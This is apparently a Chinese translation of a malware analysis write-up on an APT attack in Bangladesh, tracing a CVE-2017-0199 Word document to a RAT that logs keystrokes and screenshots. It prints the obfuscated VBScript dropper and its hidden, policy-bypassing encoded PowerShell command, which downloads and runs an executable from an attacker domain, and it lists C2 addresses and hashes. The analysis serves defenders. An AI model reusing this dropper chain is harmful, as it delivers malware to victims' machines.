1. 程式人生 > >帶你走進二進制-一次APT攻擊分析

帶你走進二進制-一次APT攻擊分析

uac dga name threading 自動 記錄 convert i春秋 nal

原文:https://osandamalith.com/2017/06/04/apt-attack-in-bangladesh/ 由prison翻譯整理,首發i春秋
引言; 這是一次來自遙遠國度的APT攻擊分析樣本範例,本文作者將帶領你體驗二進制漏洞分析的樂趣。 過程非常詳細,附帶所需樣本,適合新手。難度三顆星。
目標文件: http://mozillatm.com/A0Jst6jAd7CYerrqFmwb4wqDLa5XHPW_May_2017.doc VirusTotal: https://virustotal.com/en/file/273b0fc627daefd0fbae209e5fa1ea619bfb177a1b0ae2d55a606cf2c6ec2674/analysis/1496541543/
我發現這裏存在 CVE-2017-0199,這樣就讓我們找payload變得簡單了。

技術分享

b = ‘00000068007400740070003a002f002f006d006f007a0069006c006c00610074006d002e0063006f006d002f006c006f006100640069006e0067002e00680074006d006c00000000‘

"".join("{0}".format((i+j).replace(‘00‘,‘‘).decode(‘hex‘)) for i, j in zip(b[::2], b[1::2]))

>> ‘http://mozillatm.com/loading.html‘
這個漏洞將會交付一個惡意的HTA文件並執行它。HTA意味著IE,所以VBScript將會很好地執行。 一旦我們訪問了這個頁面,我們就可以看到這個被混淆的的VBScript,它會執行PowerShell並將惡意軟件投放到系統中。

技術分享

你可以從這裏參考 https://pastebin.com/kt3LNwiw 這個環節開始變得有意思起來了。
fuNctioN gJSoYXXAVqwD()

DIM taCXnLuJDFFL

taCXnLuJDFFL = cHRW(34)
CReaTEoBJecT(HLJlzxWsFMxQ(CGUgZBJuvRsW("V1RzVENUUlRJVHBUVFQuVHNUaFRlVExUTFQ="))).expANdEnVIRoNMEnTSTrInGS(HLJlzxWsFMxQ(CGUgZBJuvRsW("JVpzWnlac1p0WmVaTVpSWm9ab1pUWiVa")))
HLJlzxWsFMxQ(CGUgZBJuvRsW("XGtTa3lrU2tUa0VrTWszazJrXGtXa2lrTmtEa29rV2tTa3Brb2tXa0Vrcmtza0hrRWtMa0xrXGt2azFrLmswa1xrcGtva3drZWtSa3NraGtFa0xrTGsua2VreGtFaw=="))
ChRw(34)

CreAtEOBJeCt(HLJlzxWsFMxQ(CGUgZBJuvRsW("d0FzQWNBckFJQXBBdEEuQXNBaEFFQWxBbEE="))).run taCXnLuJDFFL
" POwerShELL.exe -EXECUtIOnPOlIcY BYPaSS -noPROfiLE -WInDoWStYlE HiDDen -EnCOdedCommAnD IAAoAG4ARQB3AC0AbwBCAEoARQBDAHQAIABTAHkAcwBUAEUATQAuAE4AZQBUAC4AVwBlAGIAYwBMAGkAZQBOAFQAKQAuAEQAbwB3AG4ATABPAEEARABGAGkATABFACgAIAAdIGgAdAB0AHAAOgAvAC8AbQBvAHoAaQBsAGwAYQB0AG0ALgBjAG8AbQAvAGwAbwBhAGQAaQBuAGcALgBlAHgAZQAdICAALAAgAB0gJABFAG4AdgA6AFQATQBQAFwAQwBoAHIAbwBtAGUAdABtAC4AZQB4AGUAHSAgACkAIAA7ACAAcwBUAEEAcgBUACAAHSAkAEUAbgB2ADoAdABNAFAAXABDAGgAcgBvAG0AZQB0AG0ALgBlAHgAZQAdIA== " , 0

eND fUnCtioN

[/table]

但是如果先不管被混淆的代碼,直接調試代碼的話,最終”taCXnLuJDFFL”這個變量將會被包含進去。
""C:\Windows\SySTEM32\WiNDoWSpoWErsHELL\v1.0\poweRshELL.exE""

[table=98%]

技術分享

偽代碼可以這樣寫:

Set oShell = WScript.CreateObject ("WSCript.shell")
oShell.run ""C:\Windows\SySTEM32\WiNDoWSpoWErsHELL\v1.0\poweRshELL.exE"" & " POwerShELL.exe -EXECUtIOnPOlIcY BYPaSS -noPROfiLE -WInDoWStYlE HiDDen -EnCOdedCommAnD IAAoAG4ARQB3AC0AbwBCAEoARQBDAHQAIABTAHkAcwBUAEUATQAuAE4AZQBUAC4AVwBlAGIAYwBMAGkAZQBOAFQAKQAuAEQAbwB3AG4ATABPAEEARABGAGkATABFACgAIAAdIGgAdAB0AHAAOgAvAC8AbQBvAHoAaQBsAGwAYQB0AG0ALgBjAG8AbQAvAGwAbwBhAGQAaQBuAGcALgBlAHgAZQAdICAALAAgAB0gJABFAG4AdgA6AFQATQBQAFwAQwBoAHIAbwBtAGUAdABtAC4AZQB4AGUAHSAgACkAIAA7ACAAcwBUAEEAcgBUACAAHSAkAEUAbgB2ADoAdABNAFAAXABDAGgAcgBvAG0AZQB0AG0ALgBlAHgAZQAdIA== " , 0
一旦我們破解了為powershell提供的編碼命令,我們就能看到被下載的惡意軟件。 這是一個PowerShell一行程序將惡意軟件從http://mozillatm.com/loading.exe並將其保存到% TMP%文件夾類似於“Chrometm.exe” 這個惡意軟件是用可視化的Basic語言編寫的,並且高度混淆。我把這個樣本提交給了Malwr.com,你可以在這裏查看完整的分析。 攻擊者似乎使用的是RAT。 https://malwr.com/analysis/YmJiNTEwYzE5OWFkNDZjYmFiNTY0OWZhMzA5YzgyOGY/

技術分享

在運行之後,它會將自己的程序“mozillatm.exe”復制到“program files”文件夾中。我們可以自行進入檢查下。另一個exe是“Mozillatms.exe “在”system32“文件夾中,註意這個’s’,看起來像是一種備份。

技術分享

Program Files中復制的文件:

技術分享

然而機智如我註意到一些不一樣的地方。在64位機器中惡意軟件將會把它自己復制到“C:\windows\SysWow64” 文件夾中,那麽這個自動生成的秘鑰就不會在64位下的機器中運行,這說明這個惡意軟件的備份在64位下的機器中將會失效。

技術分享

“Mozillatm.exe”將是我們的惡意可執行文件。

技術分享

該惡意軟件將與C&C通信,IP地址為162.248.92.28:131106。

技術分享

這個惡意軟件將會存儲截屏、按鍵記錄並將它們發送到C&C服務器。它們位於%USERPROFILE%\AppData\Roaming\Mozillatms

技術分享

技術分享

按鍵日誌可以在“logs”文件夾中找到。

技術分享

屏幕快照數據使用壓縮算法進行二次壓縮,但是可以輕松地解壓。

技術分享

我編寫了一個簡單的工具來使用壓縮算法執行壓縮和解壓。

/*
* Title: Deflate Tool
* Purpose: Compress and decompress files using the Deflate algorithm
* Author: Osanda Malith Jayathissa (@OsandaMalith)
* Website: [url]https://OsandaMalith.com[/url]
*/
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
using System.IO;
using System.IO.Compression;

namespace compress2
{
class Program
{
static void Main(string[] args)
{
Console.WriteLine("[~] Deflate Tool - @OsandaMalith\n");

if (args.Length != 3)
{
Console.WriteLine("Usage: {0} input.dat output.dat -c or -d", System.AppDomain.CurrentDomain.FriendlyName);
System.Environment.Exit(-1);
}

DeflateStream deflate = null;
FileStream sink = null;
FileStream source = new FileStream(Environment.GetCommandLineArgs()[1], FileMode.Open);

if (Environment.GetCommandLineArgs()[3].Substring(1, 1).Equals("d"))
{
deflate = new DeflateStream(source, CompressionMode.Decompress);
sink = new FileStream(Environment.GetCommandLineArgs()[2], FileMode.Create);

byte[] buffer = new byte[source.Length];
buffer = new byte[source.Length];

deflate.Read(buffer, 0, buffer.Length);
sink.Write(buffer, 0, buffer.Length);
sink.Close();
}
else if (Environment.GetCommandLineArgs()[3].Substring(1, 1).Equals("c"))
{
deflate = new DeflateStream(source, CompressionMode.Compress);
sink = new FileStream(Environment.GetCommandLineArgs()[2], FileMode.Create);
byte[] buffer = new byte[source.Length];
source.Read(buffer, 0, buffer.Length);
deflate.Write(buffer, 0, buffer.Length);
sink.Write(buffer, 0, buffer.Length);
sink.Close();
}
else
{
Console.WriteLine("Enter an option -c compress or -d decompress");
System.Environment.Exit(-1);
}

source.Close();

}
}
}

這是惡意軟件的截圖。

技術分享

出於好奇,我查看了C&C IP地址162.248.92.28,發現使用了Squid代理。

技術分享

但是,它使用HTTP身份驗證。

技術分享

通過使用谷歌搜索,我發現這些域名也是使用相同的惡意軟件進行攻擊的變種。

·         Bd2bd.com
· Pc-net.org
· Bd-pc.com
· Registerbd.com
·
附上我分析過的樣本: Filename: loading.exe
SHA256: 9865ccfe4dd0c893c88d24168425933e5663ee8861a3b360e1b10e63769f5392
https://virustotal.com/en/file/9865ccfe4dd0c893c88d24168425933e5663ee8861a3b360e1b10e63769f5392/analysis/1496541573/
https://malwr.com/analysis/YmJiNTEwYzE5OWFkNDZjYmFiNTY0OWZhMzA5YzgyOGY/? Filename: A0Jst6jAd7CYerrqFmwb4wqDLa5XHPW_May_2017.doc
SHA256: 273b0fc627daefd0fbae209e5fa1ea619bfb177a1b0ae2d55a606cf2c6ec2674
https://virustotal.com/en/file/273b0fc627daefd0fbae209e5fa1ea619bfb177a1b0ae2d55a606cf2c6ec2674/analysis/1496541543/

帶你走進二進制-一次APT攻擊分析